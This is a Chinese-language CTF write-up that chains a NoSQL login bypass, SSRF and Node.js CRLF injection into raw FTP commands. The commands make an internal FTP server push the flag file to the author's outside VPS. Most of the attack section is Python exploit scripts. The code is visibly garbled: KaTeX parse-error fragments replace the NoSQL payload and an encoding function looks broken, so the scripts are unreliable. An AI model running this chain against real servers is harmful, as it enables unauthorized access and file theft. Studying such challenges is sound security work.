可通過url屬性進行 SSRF。我們可以編寫腳本來通路這兩個Api接口。首先通路

/home

接口報錯,因為需要驗證,是以思路應該是先通路

/login

接口進行登入,登入後拿到token再去通路

/home

接口。這裡由于題目提示了是NoSQL,是以我們直接使用NoSQL的永真trick繞過:https://www.anquanke.com/post/id/97211#h2-10

是以最終的腳本如下:

import requests
import json
           

url = “http://node.mrctf.fun:23000/”

json_data = {

“email”: {“KaTeX parse error: Expected 'EOF', got '}' at position 48: …ring">""</span>}̲, <span class…ne”: “”}

}

res = requests.post(url=url+‘login’,json=json_data)

token = res.json()[‘token’]

json_data2 = {

“url”:“http://47.101.57.72:4000” # 通過這裡的url值進行SSRF

}

headers = {

“Authorization”:"Bearer "+token

}

res2 = requests.post(url=url+‘home’,json=json_data2,headers=headers)

print(res2)

這樣我們便可以通過

/home

接口的url值進行SSRF了,先通路一下自己的 VPS 試試:

HTTP響應拆分攻擊(CRLF Injection)

成功。

然後接下來就是利用 Node JS 的 HTTP 響應拆分攻擊構造 SSRF 去打他本地的 FTP,原理在前面的幾節中已經講得很清楚了。由于題目給出了 docker-compose.yml,在這裡面發現了FTP的主機名為

ftp

,端口為 8899。

構造 FTP 指令:

USER anonymous
PASS 
CWD files
TYPE I
PORT 47,101,57,72,0,2000
RETR flag
           

編寫攻擊腳本,并現在自己 VPS 上面測試:

import requests
import json
           

url = “http://node.mrctf.fun:23000/”

ftp_payload = ‘’’ HTTP/1.1

USER anonymous

PASS

CWD files

TYPE I

PORT 47,101,57,72,0,2000

RETR flag

test:’’’.replace("\n","\r\n")

json_data = {

“email”: {“KaTeX parse error: Expected 'EOF', got '}' at position 48: …ring">""</span>}̲, <span class…ne”: “”}

}

res = requests.post(url=url+‘login’,json=json_data)

token = res.json()[‘token’]

def payload_encode(raw):

ret = u""

for i in raw:

ret += chr(+ord(i))

return ret

ftp_payload = payload_encode(ftp_payload)

print(ftp_payload)

json_data2 = {

“url”:“http://47.101.57.72:8899/”+ftp_payload # 通過這裡的url值進行SSRF

}

headers = {

“Authorization”:"Bearer "+token

}

res2 = requests.post(url=url+‘home’,json=json_data2,headers=headers)

print(res2)

HTTP響應拆分攻擊(CRLF Injection)

VPS 上面成功接收到了 FTP 指令,下面開始正式攻擊,首先在自己 VPS 上監聽 2000 端口等待 FTP 伺服器的主動連接配接并用于後續的檔案傳輸:

HTTP響應拆分攻擊(CRLF Injection)

然後執行攻擊腳本:

import requests
import json
           

url = “http://node.mrctf.fun:23000/”

ftp_payload = ‘’’ HTTP/1.1

USER anonymous

PASS

CWD files

TYPE I

PORT 47,101,57,72,0,2000

RETR flag

test:’’’.replace("\n","\r\n")

json_data = {

“email”: {“KaTeX parse error: Expected 'EOF', got '}' at position 48: …ring">""</span>}̲, <span class…ne”: “”}

}

res = requests.post(url=url+‘login’,json=json_data)

token = res.json()[‘token’]

def payload_encode(raw):

ret = u""

for i in raw:

ret += chr(+ord(i))

return ret

ftp_payload = payload_encode(ftp_payload)

print(ftp_payload)

json_data2 = {

“url”:“http://ftp:8899/”+ftp_payload # 通過這裡的url值進行SSRF

}

headers = {

“Authorization”:"Bearer "+token

}

res2 = requests.post(url=url+‘home’,json=json_data2,headers=headers)

print(res2)

成功得到flag:

HTTP響應拆分攻擊(CRLF Injection)

未完待續……

繼續閱讀